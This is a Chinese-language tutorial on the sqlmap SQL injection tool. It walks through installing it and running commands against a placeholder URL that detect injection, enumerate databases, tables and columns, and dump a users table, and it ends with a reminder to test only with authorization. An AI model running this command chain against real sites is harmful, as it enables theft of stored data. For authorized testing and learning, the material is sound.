sqlmap详细使用教程2025年4月最新,这个就够了!

sqlmap 是一款强大的开源 SQL 注入工具,可自动化检测和利用 SQL 注入漏洞。以下是使用 sqlmap 的基本步骤:

1. 安装 sqlmap

如果你使用的是 Linux 系统,可以通过如下命令克隆 sqlmap 的仓库:

bash

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

如果你使用的是 Windows 系统,可从 sqlmap 官方 GitHub 仓库 下载 ZIP 文件,然后解压。

2. 基本使用场景

检测 URL 是否存在 SQL 注入漏洞

假设你要检测的目标 URL 是 http://example.com/vulnerable_page.php?id=1,可使用如下命令:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --batch

这里的 -u 用于指定目标 URL,--batch 表示使用默认选项,无需手动确认。

枚举数据库信息

若发现目标存在 SQL 注入漏洞,可使用以下命令枚举数据库:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs --batch

--dbs 选项用于列出目标数据库中的所有数据库。

枚举指定数据库中的表

如果你想查看某个数据库中的表,例如 testdb,可以使用以下命令:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables --batch

-D 用于指定数据库名,--tables 用于列出指定数据库中的所有表。

枚举指定表中的列

若要查看指定表中的列,例如 testdb 数据库中的 users 表,可以使用以下命令:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns --batch

-T 用于指定表名,--columns 用于列出指定表中的所有列。

转储指定表中的数据

若要转储指定表中的数据,例如 testdb 数据库中的 users 表,可以使用以下命令:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --dump --batch

--dump 用于转储指定表中的数据。

3. 注意事项

  • 仅在获得授权的情况下使用 sqlmap 进行测试,未经授权对他人系统进行测试属于违法行为。
  • 测试时要注意目标系统的稳定性,避免因测试操作对目标系统造成损害。